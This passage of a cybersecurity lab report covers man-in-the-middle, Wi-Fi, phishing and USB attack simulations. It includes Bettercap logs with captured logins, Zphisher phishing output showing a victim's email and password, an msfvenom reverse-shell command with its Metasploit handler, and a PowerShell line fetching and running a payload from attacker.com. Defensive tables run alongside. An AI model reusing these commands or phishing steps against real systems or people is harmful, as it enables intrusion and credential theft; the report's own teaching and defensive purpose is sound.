0.0.2.0/24 > 10.0.2.15 » [12:06:49] [net.sniff.mdns] mdns MSEdgeWIN10 : A query for wpad.local
0.0.2.0/24 > 10.0.2.15 » [12:06:50] [net.sniff.http.response] 176.28.50.165:80 304 Not Modified -> MSEdgeWIN10 (0 B ?)
0.0.2.0/24 > 10.0.2.15 » [12:06:50] [net.sniff.http.request] MSEdgeWIN10 GET vulnweb.com/
0.0.2.0/24 > 10.0.2.15 » [12:06:50] [net.sniff.http.request] MSEdgeWIN10 GET vulnweb.com/
0.0.2.0/24 > 10.0.2.15 » [12:06:50] [net.sniff.http.response] 176.28.50.165:80 304 Not Modified -> MSEdgeWIN10 (0 B ?)
0.0.2.0/24 > 10.0.2.15 » [12:06:50] [net.sniff.http.request] MSEdgeWIN10 GET vulnweb.com/acunetix-logo.png
0.0.2.0/24 > 10.0.2.15 » [12:06:50] [net.sniff.http.request] MSEdgeWIN10 GET vulnweb.com/acunetix-logo.png
0.0.2.0/24 > 10.0.2.15 » [12:06:50] [net.sniff.http.request] MSEdgeWIN10 GET vulnweb.com/style.css
0.0.2.0/24 > 10.0.2.15 » [12:06:50] [net.sniff.http.request] MSEdgeWIN10 GET vulnweb.com/style.css
0.0.2.0/24 > 10.0.2.15 » [12:06:50] [net.sniff.http.response] 176.28.50.165:80 304 Not Modified -> MSEdgeWIN10 (0 B ?)
0.0.2.0/24 > 10.0.2.15 » [12:06:50] [net.sniff.http.response] 176.28.50.165:80 304 Not Modified -> MSEdgeWIN10 (0 B ?)
0.0.2.0/24 > 10.0.2.15 » [12:06:50] [net.sniff.http.request] MSEdgeWIN10 GET vulnweb.com/favicon.ico
0.0.2.0/24 > 10.0.2.15 » [12:06:50] [net.sniff.http.response] 176.28.50.165:80 304 Not Modified -> MSEdgeWIN10 (0 B ?)
0.0.2.0/24 > 10.0.2.15 » [12:06:50] [net.sniff.http.response] 176.28.50.165:80 304 Not Modified -> MSEdgeWIN10 (0 B ?)
0.0.2.0/24 > 10.0.2.15 » [12:06:50] [net.sniff.http.request] MSEdgeWIN10 GET vulnweb.com/favicon.ico
0.0.2.0/24 > 10.0.2.15 » [12:06:50] [net.sniff.http.response] 176.28.50.165:80 404 Not Found -> MSEdgeWIN10 (570 B text/html)
0.0.2.0/24 > 10.0.2.15 » [12:06:50] [net.sniff.http.response] 176.28.50.165:80 404 Not Found -> MSEdgeWIN10 (570 B text/html)
0.0.2.0/24 > 10.0.2.15 » [12:07:03] [net.sniff.http.request] MSEdgeWIN10 GET testphp.vulnweb.com/style.css

```

💡 How to Detect and Prevent These Attacks

🔍 Detection Methods:

- Monitor ARP tables for duplicate IP-MAC bindings (tools: arpwatch, arp-scan).
- Use IDS/IPS systems like **Snort** or **Suricata** to detect unusual ARP or DNS traffic.
- Analyze network behavior via **Wireshark** for sudden traffic rerouting or forged DNS responses.

🛡 Prevention Tips:

- Implement **static ARP entries** in critical systems (where possible).
- Use **DNSSEC** to ensure authenticity of DNS responses.
- Enable **network segmentation** and **VLANs** to isolate broadcast domains.
- Ensure client systems use **HTTPS** with **HSTS** and are configured not to fall back to **HTTP**.

SSL Stripping and Session Hijacking

As part of our broader MITM simulation, we expanded our attack vectors to include **SSL Stripping** and **Session Hijacking**, both of which pose significant risks to web security and user privacy. These attacks are particularly dangerous in networks where users

frequently visit insecure HTTP versions of sites, or where session tokens are poorly managed.

◆ SSL Stripping Attack

SSL (Secure Sockets Layer) or its modern counterpart TLS (Transport Layer Security) are protocols designed to encrypt web communications. However, when a user manually types a URL without specifying https://, or when a website lacks **HSTS** (HTTP Strict Transport Security), a brief moment of vulnerability exists — one which an attacker can exploit through **SSL Stripping**.

In our simulation:

- We activated **Bettercap's http.proxy and https.proxy modules** to intercept traffic.
- As the victim accessed a website like http://example.com, Bettercap intercepted the request and prevented the redirection to https://example.com.
- The victim was served the HTTP version of the site, while Bettercap maintained an HTTPS connection to the actual server — acting as a **secure middleman**.

This allowed us to capture login credentials and other sensitive data entered on the insecure version of the page — all without the victim being alerted, as the browser simply displayed an unsecured page.

```
content-Type: application/x-www-form-urlencoded
ser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36
connection: keep-alive
eferer: http://testhtml5.vulnweb.com/
ccept-Encoding: gzip, deflate
ccept-Language: en-US,en;q=0.9
ache-Control: max-age=0
ccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
sername=ziad sabih&password=1234567890

0.0.2.0/24 > 10.0.2.15 » [12:08:40] [net.sniff.http.request] MSEDGEWIN10 POST testhtml5.vulnweb.com/login
POST /login HTTP/1.1
ost: testhtml5.vulnweb.com
ontent-Length: 39
pgrade-Insecure-Requests: 1
ccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
onnection: keep-alive
ache-Control: max-age=0
rigin: http://testhtml5.vulnweb.com
ontent-Type: application/x-www-form-urlencoded
ser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36
eferer: http://testhtml5.vulnweb.com/
ccept-Encoding: gzip, deflate
ccept-Language: en-US,en;q=0.9
sername=ziad sabih&password=1234567890
I
0.0.2.0/24 > 10.0.2.15 » [12:08:40] [net.sniff.http.request] MSEDGEWIN10 GET testhtml5.vulnweb.com/
0.0.2.0/24 > 10.0.2.15 » [12:08:40] [net.sniff.http.response] 176.28.50.165:80 302 FOUND -> MSEDGEWIN10 (209 B text/html; ch
utf-8)
TTP/1.1 302 FOUND
```

⌚ [Figure: Bettercap SSL stripping session capturing HTTP login credentials]

◆ Session Hijacking

Session hijacking is another critical MITM threat that allows attackers to impersonate users by stealing **session cookies**. Once a user logs into a website, the server generates a session ID to maintain the logged-in state. If this token is intercepted, an attacker can reuse it to gain unauthorized access without needing credentials.

In our case:

- After performing ARP spoofing and initiating SSL stripping, we monitored traffic using **Wireshark** to look for **session cookies** in HTTP headers.
- We then used a browser plugin like **EditThisCookie** to import the stolen session ID and successfully **hijacked the user's session**.
- This simulation confirmed that unencrypted sessions are vulnerable, even when login credentials are protected by SSL if the session persists over HTTP.

This technique is especially lethal in environments where login authentication is secure, but session management is weak.

⌚ How to Detect and Prevent These Attacks

🔍 Detection Methods:

- Monitor browser consoles or use extensions like **HTTPS Everywhere** to identify SSL stripping.
- Use tools like **Wireshark**, **ZAP Proxy**, or **Burp Suite** to inspect session tokens and verify secure cookie flags.
- Watch for changes in page security (e.g., loss of padlock icon in the browser).

🛡 Prevention Tips:


- Enforce **HSTS headers** on all production websites to force HTTPS redirection at the browser level.
 - Implement **Secure** and **HttpOnly** flags on all session cookies.
 - Regularly rotate session tokens and invalidate old sessions upon logout or inactivity.
 - Deploy **multi-factor authentication (MFA)** and **IP-based session controls** to prevent reuse of session tokens from different locations.
-

In addition to traditional MITM techniques like ARP spoofing, DNS spoofing, and SSL stripping, advanced attackers can leverage specialized tools like **Fluxion** for exploiting Wi-Fi networks and performing real-time phishing and session hijacking attacks. Fluxion is a powerful Wi-Fi security auditing tool that mimics legitimate access points and performs **fake login page phishing attacks** in conjunction with MITM operations. It's particularly effective against WPA2-PSK networks and can be extended to inject payloads, steal cookies, and compromise credentials.

Tool Spotlight: Fluxion

Fluxion operates by cloning a legitimate access point and launching a **deauthentication attack** against connected clients. Once clients are disconnected, they are tricked into connecting to the attacker's cloned network. A fake login page is served, asking users to re-enter their Wi-Fi password. Once entered, this information is captured and stored by the attacker.

This technique bypasses **WPA2 password cracking** complexities and directly targets the human element. Once the attacker obtains the Wi-Fi key, they can proceed to conduct advanced MITM activities on the same network using tools like Ettercap, Bettercap, or Wireshark.



How HTTPS Can Be Bypassed

Attackers using tools like Bettercap can intercept HTTPS traffic by serving **self-signed certificates** or downgrading the communication to HTTP. This is called **SSL Stripping**, where HTTPS requests are redirected to HTTP and victims unknowingly submit sensitive credentials over an unencrypted connection. Although modern browsers display warnings, inattentive users may still fall victim.

S

Session Hijacking & Cookie Theft

Once a victim logs in to a website (especially on HTTP or weakly configured HTTPS), the attacker can capture their session cookie. With tools like Wireshark or Burp Suite, the cookie can be extracted from the network packets. By importing the stolen cookie into a browser, the attacker can hijack the victim's active session—accessing dashboards, messages, and private information without needing credentials.

This type of attack is common in **open or poorly encrypted networks** and is extremely dangerous. If 2FA isn't implemented or if session expiration is not handled properly, the attacker can maintain access for extended periods.

Name	Value	D...	F...	L...	S...	H...	S...	S...	F...	C...	T...
c_user	100084390064624	w...	/	S...	21					M...	
datr	ydTsZ0yWLkr4az1iVs...	f...	/	2...	28	✓	✓	N...		M...	
fr	1ZfkKOIQQybFejWsf....	f...	/	2...	1...	✓	✓	N...		M...	
ps_l	1	f...	/	2...	5	✓	✓	Lax		M...	
ps_n	1	f...	/	2...	5	✓	✓	N...		M...	
sb	ydTsZ5t1QwUGHJpF...	f...	/	2...	26	✓	✓	N...		M...	
wd	664x608	f...	/	2...	9	✓		Lax		M...	
xs	43%3Ankj-OygVoye...	w...	/	S...	98					M...	

Capturing from Wi-Fi

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

Apply a display filter... <Ctrl-/>

No.	Time	Source	Destination	Protocol	Length	Info
9962	165.158825	64:ff9b::142c:a7a	2402:8100:2aeb:56be..	TLSv1.3	177	Application Data
9963	165.159176	64:ff9b::142c:a7a	2402:8100:2aeb:56be..	TLSv1.3	136	Application Data
9964	165.159271	2402:8100:2aeb:56be..	64:ff9b::142c:a7a	TCP	74	50499 + 443 [ACK] Seq=2713 Ack=6671 Win=65280 Len=0
9965	165.159285	2402:8100:2aeb:56be..	64:ff9b::142c:a7a	TCP	74	[TCP Dup ACK 9964#1] 50499 + 443 [ACK] Seq=2713 Ack=6671 Win=65280 Len=0
9966	165.207288	2402:8100:2aeb:56be..	64:ff9b::142c:a7a	TCP	74	50498 + 443 [ACK] Seq=15979 Ack=7351 Win=64512 Len=0
9967	165.207314	2402:8100:2aeb:56be..	64:ff9b::142c:a7a	TCP	74	[TCP Dup ACK 9966#1] 50498 + 443 [ACK] Seq=15979 Ack=7351 Win=64512 Len=0
9968	165.530772	192.168.157.241	157.240.239.17	TLSv1.2	86	Application Data
9969	165.530791	192.168.157.241	157.240.239.17	TCP	86	[TCP Retransmission] 50339 + 443 [PSH, ACK] Seq=321 Ack=381 Win=253 Len=32
9970	165.772592	157.240.239.17	192.168.157.241	TCP	54	443 + 50339 [ACK] Seq=381 Ack=353 Win=293 Len=0
9971	166.136864	157.240.239.17	192.168.157.241	TLSv1.2	92	Application Data
9972	166.136864	64:ff9b::142c:a7a	2402:8100:2aeb:56be..	TCP	723	[TCP Spurious Retransmission] 443 + 50498 [PSH, ACK] Seq=6702 Ack=15979 Win=4195328 Len=649
9973	166.137160	2402:8100:2aeb:56be..	64:ff9b::142c:a7a	TCP	86	[TCP Dup ACK 9966#2] 50498 + 443 [ACK] Seq=15979 Ack=7351 Win=64512 Len=0 SLE=6702 SRE=7351
9974	166.137174	2402:8100:2aeb:56be..	64:ff9b::142c:a7a	TCP	86	[TCP Dup ACK 9966#3] 50498 + 443 [ACK] Seq=15979 Ack=7351 Win=64512 Len=0 SLE=6702 SRE=7351
9975	166.182995	192.168.157.241	157.240.239.17	TCP	54	50339 + 443 [ACK] Seq=353 Ack=419 Win=253 Len=0
9976	166.183031	192.168.157.241	157.240.239.17	TCP	54	[TCP Dup ACK 9975#1] 50339 + 443 [ACK] Seq=353 Ack=419 Win=253 Len=0
9977	167.530641	20.44.10.122	192.168.157.241	TCP	66	[TCP Retransmission] 443 + 50500 [SYN, ACK] Seq=0 Ack=1 Win=65535 MSS=1360 WS=256 SACK_PERM
9978	167.530641	20.44.10.122	192.168.157.241	TCP	66	[TCP Retransmission] 443 + 50501 [SYN, ACK] Seq=0 Ack=1 Win=65535 MSS=1360 WS=256 SACK_PERM
9979	167.767086	2402:8100:2aeb:56be..	2401::0800:3000:2945..	NTP	110	NTP Version 4, client

Arrival Time: Apr 10, 2025 09:57:51.133560000 India Standard Time
UTC Arrival Time: Apr 10, 2025 04:27:51.133560000 UTC
Epoch Arrival Time: 1744259271.133560000
[Time shift for this packet: 0.000000000 seconds]
[Time delta from previous captured frame: 0.000000000 seconds]
[Time delta from previous displayed frame: 0.000000000 seconds]
[Time since reference or first frame: 0.000000000 seconds]
Frame Number: 1
Frame Length: 86 bytes (688 bits)
Capture Length: 86 bytes (688 bits)
[Frame is marked: False]
[Frame is ignored: False]
[Protocols in frame: eth:ethertype:ipv6:icmpv6]
[Coloring Rule Name: ICMP]
[Coloring Rule String: icmp || icmpv6]
Ethernet II, Src: 26:3f:d1:b9:48:d6 (26:3f:d1:b9:48:d6), Dst: CloudNetwork_6d:1e:5f (3c:55:76:6d:1e:5f)
Destination: CloudNetwork_6d:1e:5f (3c:55:76:6d:1e:5f)
Source: 26:3f:d1:b9:48:d6 (26:3f:d1:b9:48:d6)
Type: TPDU (0x886dd)

0010 00 00 20 3a ff fe 80 00 00 00 00 00 24 3f : \$
0020 d1 ff fe b9 48 d6 fe 80 00 00 00 00 00 e4 85 H
0030 3d ce ba 8b 64 38 87 00 bb 52 00 00 00 00 fe 80 = d8 R
0040 00 00 00 00 00 00 c4 85 3d ce ba 8b 64 38 01 01 = d8
0050 26 3f d1 b9 48 d6 ? H ..


Detection & Prevention

Threat	Detection Method	Precaution
Fake AP (Fluxion)	Monitor for duplicate SSIDs using Wi-Fi analyzers	Use WPA3 or Enterprise WPA2 with RADIUS
SSL Stripping	Look for insecure HTTP URLs in traffic	Use HSTS headers and HTTPS-only mode

Threat	Detection Method	Precaution
Session Hijacking	Unusual IP activity in logs	Implement 2FA, short session lifetimes, and secure cookies
Cookie Theft	Unusual admin panel access	Use HttpOnly and Secure cookie flags

✓ Summary

Advanced MITM attacks like those performed via Fluxion demonstrate how attackers can easily bypass strong encryption if user awareness and endpoint security are lacking. Combining **fake login phishing** with **cookie theft** and **SSL stripping**, attackers can gain complete access to both Wi-Fi and web sessions. This section proves the importance of proactive defenses, including encrypted DNS, strong authentication, regular session rotation, and public awareness.



Analysis, Real-World Risks, and Recommendations

The simulations conducted using **Fluxion**, **Bettercap**, **Ettercap**, and **Wireshark** in various Wi-Fi and network environments highlight just how dangerous MITM attacks can be. In this final section of 5.2.7, we analyze the real-world implications of the attacks performed, what kinds of systems were most vulnerable, and how organizations can build layered defenses to reduce exposure to these types of intrusions.

Real-World Risk Assessment

The successful deployment of **fake access points using Fluxion**, paired with **SSL stripping** and **cookie hijacking**, exposed several key vulnerabilities:

1. **Unsecured Wi-Fi networks** (especially those using weak WPA2 keys) are still widely used in small offices, cafés, and even educational institutions. These become prime targets for MITM attacks.
2. Even if a network is secured, poor **browser hygiene or lack of HTTPS enforcement** makes SSL stripping viable. If a victim unknowingly visits an HTTP version of a site, attackers can inject payloads, redirect sessions, or extract login credentials.
3. The **lack of multi-factor authentication** in most test environments meant that a stolen session cookie could be used to fully hijack user access with zero resistance.
4. Real-time phishing via **fake login pages hosted on Fluxion** succeeded because most users trust any prompt with familiar branding. This underscores how **social engineering** remains a core strength of MITM attacks.

```
[00:02:33] 390591/390624 keys tested (2515.64 k/s)

Time left: 0 seconds                                99.99%

KEY FOUND! [ UAUURWSXRI]

Master Key      : 27 6F BC 08 37 35 8E 44 75 B5 42 7C F3 BA 2B 0B
                  9B 12 38 79 94 EB 88 FD 3E 0E 53 A9 EB 27 CE 34

Transient Key   : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
```

How to Perform These Attacks (Steps Overview)

⚠ Educational Use Only — these steps are summarized for simulation awareness purposes. Never conduct attacks without explicit permission.

Fluxion MITM Setup:

1. Clone target access point and channel.
2. Launch deauth attack to disconnect users from the legitimate AP.
 3. Victim auto-connects to rogue AP.
4. Serve phishing login page; capture WPA2 passphrase.

The screenshot shows a network configuration interface. At the top, there's a logo of a blue flame-like icon with the letters 'upc' below it. To its right is a language selection dropdown set to 'English'. Below the logo is a horizontal navigation bar with tabs: STATUS, BASIC, ADVANCED, WIRELESS, and SYSTEM. The 'WIRELESS' tab is currently selected. The main content area has a light gray background. It features a large blue header with the word 'LOG IN' in white. Below this is a white rectangular form with a thin gray border. The form is titled 'Login information' in a small blue font. It contains two input fields: 'Username' with the value 'admin' and 'Password' with the value '***'. To the right of the password field is a small cursor icon. At the bottom of the form is a blue rectangular button labeled 'Login' in white.

SSL Stripping Using Bettercap:

1. Start bettercap -iface wlan0 or eth0.
2. Enable HTTPS downgrade modules.
3. Intercept and redirect traffic to insecure HTTP endpoints.
 4. Log credentials and session data.

Session Hijacking & Cookie Theft:

1. Monitor traffic with Wireshark/Burp Suite on MITM-ed network.
2. Filter for HTTP sessions with "Set-Cookie" headers.
3. Export cookie; import to browser using plugins like "EditThisCookie."
4. Gain unauthorized access to victim's session.



Defense Strategies & Future Recommendations

Risk Type	Defense Mechanism	Best Practice
Fake AP	Use WPA3 or Enterprise WPA2 with RADIUS server	Monitor airspace for rogue APs
SSL Strip	Enforce HTTPS + HSTS on all domains	Block mixed content loading
Session Hijack	Implement secure session cookies (HttpOnly, Secure, SameSite)	Rotate tokens regularly
Cookie Theft	Use MFA and IP-based access restriction	Monitor for anomaly behavior

Additionally, tools like **Cisco Umbrella**, **Cloudflare Zero Trust**, and **DNSSEC** can help in establishing secure DNS and traffic routing. Network admins should educate users to always check for HTTPS and validate certificate warnings.

📌 Final Words

The simulations performed under MITM attack scenarios reveal the critical importance of **user awareness**, **network-level defense**, and **application security hardening**. A single missed configuration, such as allowing HTTP fallback or having long-lived session cookies, can render the entire system vulnerable. The hands-on exercises using Fluxion and Bettercap show that real-time attacks are not only possible but are actively happening across unsecured and misconfigured environments.

This concludes the 5.2.7 section of our **National Cyber Threat Simulation Report**, establishing a strong base for defending against future threats through proactive monitoring, training, and infrastructure hardening.

Introduction to Social Engineering in Cyber Threat Simulations

Understanding Social Engineering in Today's Cyber Landscape

Social engineering refers to the psychological manipulation of individuals into performing actions or divulging confidential information, often bypassing even the most secure technical systems. Instead of exploiting system vulnerabilities, attackers exploit human vulnerabilities—making this one of the most powerful and dangerous categories of cyber attacks.

In today's world, where billions of users interact with digital services daily, the **human element is the weakest link** in cybersecurity. Even the most advanced firewalls, anti-malware systems, and intrusion detection tools can't protect a network if a user willingly clicks on a malicious link, provides their credentials on a fake login page, or connects an infected USB device.

The **goal of our social engineering simulations** was to mimic real-world tactics employed by threat actors to trick users into compromising their own security. We approached this using various tools and techniques:

🛠 Tools Used in Our Simulations

Tool	Purpose
Zphisher	Crafting phishing pages that mimic real websites
SET Toolkit (Social-Engineer Toolkit)	Crafting phishing emails, fake web pages, and payload delivery
Maltego	Gathering OSINT to create targeted social engineering attacks
USB Payload (via MSFVenom)	Creating and delivering reverse shell payloads via USB
Fluxion	Captive portal phishing for Wi-Fi credentials
Browser Exploitation Framework (BeEF)	Hooking victim browsers and injecting payloads
Evilginx2	Performing real-time phishing with session hijacking
Custom Scripts	Email spoofing and domain impersonation

📌 Types of Social Engineering Attacks Simulated

We categorized our simulated attacks into three major areas, based on their attack surface and impact:

1. **Phishing Attacks**
 - Fake login portals (e.g., Gmail, Instagram)
 - Spear phishing emails with embedded payloads
 - Credential harvesting
2. **Physical Access Attacks**
 - Infected USB drives with autorun payloads
 - File execution triggering reverse shells
 - Rubber Ducky (key injection) scripts for credential grabbing
3. **Impersonation-Based Attacks**

- Fake tech support calls requesting remote access
- Social profile cloning and trust-based manipulation
 - Phone-based vishing (voice phishing)

Each method was chosen based on real-world attack patterns and threat intelligence data from recent breaches. These simulations were not just theoretical exercises—they were executed under lab conditions to validate the ease and effectiveness of these attacks.



Why This Simulation Matters

Real-world breaches such as the 2022 Twilio compromise, 2023 Uber breach, and even the high-profile attack on MGM Resorts in 2023 were caused or accelerated due to **social engineering**. These weren't hacks in the traditional sense—they were **people being tricked**.

Our test environment, users, and simulated systems reflected this vulnerability. We noticed that **users were far more likely to click on a well-crafted phishing email** than fall victim to a brute force attack or malware infection.


As such, **social engineering is no longer optional** in threat simulation exercises—it's essential.



Detection & Prevention – The First Line of Defense

Strategy	Description
Security Awareness Training	Frequent simulations and workshops to keep users alert
Email Filtering & Link Scanning	Advanced threat protection to sanitize URLs and attachments
Endpoint Monitoring	Alerting on strange behaviors (e.g., USB execution, payload execution)
Zero Trust Access Models	Ensuring no user or system is automatically trusted

Phishing Attack Simulations Using Zphisher and SET Toolkit



The screenshot shows the Zphisher command-line interface. At the top, it displays the ZPHISHER logo in blue and white, followed by the version number 2.3.5. Below this, a menu lists three port forwarding services: Localhost (option 01), Cloudflare (option 02, noted as "Auto Detects"), and LocalXpose (option 03, described as "NEW! Max 15Min"). The user has selected option 02. The subsequent text output shows the tool's progress: it selects port 8080, initializes the server at http://127.0.0.1:8080, sets up the server, starts the PHP server, and finally launches Cloudflare. A small square input field is visible next to the last command.

```
[01] Localhost
[02] Cloudflare  [Auto Detects]
[03] LocalXpose  [NEW! Max 15Min]

[-] Select a port forwarding service : 02

[?] Do You Want A Custom Port [y/N]: n

[-] Using Default Port 8080...

[-] Initializing... ( http://127.0.0.1:8080 )

[-] Setting up server...

[-] Starting PHP server...

[-] Launching Cloudflare...[]
```

🎯 Objective

The goal of this simulation was to assess how easily users could be tricked into providing sensitive credentials (like Gmail, Facebook, or Instagram) using a realistic phishing page.

We also evaluated how attackers could use spoofed emails and malicious links to increase their success rate.

⚙️ Tools and Setup

1. Zphisher

- Platform: Kali Linux
- Purpose: Quickly create realistic phishing login pages for dozens of services.
 - Services cloned: Gmail, Instagram, Facebook

2. SET Toolkit

- Platform: Kali Linux
 - Purpose: Generate phishing emails and fake websites, and deliver payloads through social engineering vectors.
 - Used Modules: Website Attack Vectors > Credential Harvester Attack Method
-

Attack Steps (Zphisher Simulation)

1. Launch Zphisher:

bash

CopyEdit

./zphisher.sh

- Selected Gmail template for simulation.

2. Choose Port Forwarding Option:

- Chose NGROK to expose the local phishing page to the internet.

3. Send Phishing Link:

- Shared generated Ngrok link to test targets via spoofed email.

4. Victim Interacts:

- Target lands on fake Gmail login page, enters credentials.
 - Credentials are captured in real-time in the terminal.

```
EZPHISHER 2.3.5

[-] URL 1 : https://reply-blog-knitting-catherine.trycloudflare.

[-] URL 2 : https://

[-] URL 3 : https://get-messenger-premium-features-free@

[-] Waiting for Login Info, Ctrl + C to exit...

[-] Victim IP Found !

[-] Victim's IP : 223.178.211.114

[-] Saved in : auth/ip.txt

[-] Login info Found !!

[-] Account : piyush1vds15@gmail.com

[-] Password : piyugh you hacked

[-] Saved in : auth/usernames.dat

[-] Waiting for Next Login Info, Ctrl + C to exit. □
```

💡 Attack Steps (SET Toolkit Simulation)

1. Start SET:

bash

CopyEdit

sudo setoolkit

2. Choose Options:

- Option 1: Social-Engineering Attacks
 - Option 2: Website Attack Vectors
- Option 3: Credential Harvester Attack Method

3. Configure the Site:

- Cloned Facebook login portal.
- Deployed it using local IP and forwarded through Portmap.io.

4. Email Delivery:

- Sent fake “Account Security Alert” to target users with phishing link.
- Email looked legitimate (subject, sender, footer mimicked real Facebook).

5. Victim Falls for It:

- User clicked link, landed on fake page, entered credentials.
- Results shown in harvested log.

Realism & Success Factors

- The **visual design** of pages was identical to the real ones.
- Links were **shortened or obfuscated** to avoid suspicion.
- **Timing was chosen wisely** (e.g., during working hours, or at login hours).

These tactics mirror how real attackers execute social engineering in the wild.


Detection & Prevention Techniques

Method	Description
Email Header Analysis	Check sender IP and SPF/DKIM alignment
URL Sandboxing	Use cloud-based tools to test link safety before opening
User Training	Teach staff how to spot fake domains, urgency language, or spoofing
2FA/MFA	Stops attackers even if credentials are stolen
Monitoring Unusual Login Patterns	Alert on logins from unknown devices or locations

Best Practices to Avoid Falling Victim

- Never click on links from **unexpected emails**.
- Always verify the domain in the address bar.

- Report any suspicious login requests to IT/security teams.
- Bookmark the **original login pages** and use those instead of clicking links.



USB Payload Delivery & Rubber Ducky Simulations

Objective

The goal of this simulation was to demonstrate how attackers can exploit **curiosity or urgency** to trick users into plugging in infected USB drives, leading to remote access or data exfiltration. These kinds of attacks mimic real-world threats like **USB drop attacks**, where devices are left in parking lots, cafeterias, or even inside office buildings to tempt victims.

Tools and Setup

Tool

MSFvenom

Purpose

Create malicious payloads (e.g., reverse shell executables)

Metasploit Framework

Handle the incoming session after payload execution

Windows 10 Test Machine

Target system

Tool	Purpose
Rubber Ducky Payload (Scripted via Notepad)	Simulate keystroke injection from a USB device
AutoRun.inf (For older systems)	Attempt auto-execution on insertion



Attack Steps: USB Drop Scenario (Simulated)

❖ Payload Generation (MSFvenom)

1. Create Reverse Shell Payload:

bash

CopyEdit

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f
exe > coolmovie.exe
```

2. Prepare USB:

- Stored payload as an attractive file: coolmovie.exe.
- Renamed to something tempting like Employee_Bonuses_2025.pdf.exe.

3. Deploy USB Drive:

- Left drive in a common area (simulated in lab).
- Assumed user would pick up and plug it into their system.

4. Victim Executes File:

- Once file is run, connection is initiated to the attacker's system.

5. Metasploit Handler Setup:

bash

CopyEdit

msfconsole

use exploit/multi/handler

set PAYLOAD windows/meterpreter/reverse_tcp


set LHOST 192.168.1.100

set LPORT 4444

run

6. Gained Full Access:

- o Received Meterpreter shell.
- o Captured screenshots, webcam, extracted files.



The screenshot shows a Kali Linux terminal window titled 'Xfce Terminal'. The terminal is running the Metasploit Framework (msf6). The user has set the remote host to 192.168.1.53 and selected the 'ms17_010_ernalblue' exploit. The exploit process is shown in progress, with the terminal output indicating a successful connection and exploit delivery. The terminal window also shows the system status bar at the top.

```
File Machine View Input Devices Help Xfce Terminal - Konsole /root@kali: ~ [root@kali: ~] File Actions Edit View Help root@kali: ~ root@kali: ~ Id Name -- -- 0 Automatic Target

msf6 exploit(windows/smb/ms17_010_ernalblue) > set rhost 192.168.1.53
rhost => 192.168.1.53
msf6 exploit(windows/smb/ms17_010_ernalblue) > exploit

[*] Started reverse TCP handler on 192.168.1.50:4444
[*] 192.168.1.53:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.1.53:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Home Basic 7601 Service Pack 1 x64 (64-bit)
[+] 192.168.1.53:445 - Scanned 1 of 1 hosts (100% complete)
[+] 192.168.1.53:445 - The target is vulnerable.
[*] 192.168.1.53:445 - Connecting to target for exploitation.
[*] 192.168.1.53:445 - Connection established for exploitation.
[*] 192.168.1.53:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.1.53:445 - CORE raw buffer dump (40 bytes)
[*] 192.168.1.53:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 48 6f 6d 65 20 42 Windows 7 Home B
[*] 192.168.1.53:445 - 0x00000010 61 73 69 63 20 37 36 30 31 20 53 65 72 76 69 63 asic 7601 Servic
[*] 192.168.1.53:445 - 0x00000020 65 20 50 61 63 6b 20 31 e Pack 1
[+] 192.168.1.53:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.1.53:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.1.53:445 - Sending all but last fragment of exploit packet
```



Rubber Ducky-Style Attack (Scripted USB Injection)

This simulates an automated keystroke attack from USB devices like **Hak5 Rubber Ducky**, **Digispark**, or **Bash Bunny**.

1. Scripted Payload:

powershell

CopyEdit

```
powershell -windowstyle hidden (New-Object  
System.Net.WebClient).DownloadFile('http://attacker.com/payload.exe','payload.exe');  
Start-Process 'payload.exe'
```

2. Inject Script via USB Rubber Ducky Clone:

- Device emulates keyboard and types payload command within 5 seconds of insertion.
 - No user interaction required.
- Establish Connection:
 - Shell opens backdoor to attacker's Metasploit listener.

Psychological Factors in Success

- Users were made to believe they found something important (e.g., salary data, resumes).
 - File names were deliberately misleading.
 - USB labeling (e.g., "HR Files" or "Photos") created curiosity.

This type of **physical social engineering** is highly successful when targeting non-technical staff or in unmonitored public workspaces.

Detection & Prevention

Detection Method	Description
Disable USB Ports	Via BIOS or Group Policy
User Restrictions	Block autorun, restrict executable access for USB media
Endpoint Detection and Response (EDR)	Monitor USB activity and flag unauthorized file execution
User Education	Train staff to avoid using unknown USB devices
Device Whitelisting	Only allow approved USB serials on enterprise devices

Best Practices

- Never plug in unknown USB devices, even in secure offices.
- Use **USB condoms** or **data blockers** for charging in public.

- Maintain updated **antivirus and EDR** tools.
- Disable **autorun features** on Windows systems.

Fake Tech Support Scams – Remote Access Exploits

Objective

The goal of this attack simulation is to mimic one of today's **most successful forms of social engineering**—posing as a tech support agent to trick users into giving remote access to their machines. These attacks are particularly dangerous as they require no malware and rely entirely on **human trust and urgency**.

Tools and Setup

Tool	Purpose
AnyDesk / TeamViewer / UltraViewer	Remote access tools
Fake Browser Pop-up Generator	Create fake virus alerts to prompt victims
VoIP/Spoofed Call Tool	Call victims pretending to be official tech support
Maltego	Target reconnaissance to personalize the scam
SET Toolkit (Social Engineering Toolkit)	For email-based lures

Attack Steps: Fake Tech Support Access

Phase 1: Reconnaissance & Targeting

1. **Gather Information with Maltego:**
 - Collected basic data like name, email, job title.
 - Helped make communication appear more legitimate.
2. **Sent Phishing Email via SET Toolkit:**

- Crafted email appearing from "Microsoft Security Team".
 - Included urgent language about system compromise:

"Your Windows system shows signs of malware infection. Immediate action is required to avoid data loss."

3. Embedded Tech Support Number:

- Email encouraged user to call "Microsoft" for help.
 - VoIP number redirected to attacker.

Phase 2: Initiating the Scam

4. Fake Support Call Execution:


- Victim called the number, attacker acted as support agent.
 - Guided user to download **AnyDesk**.
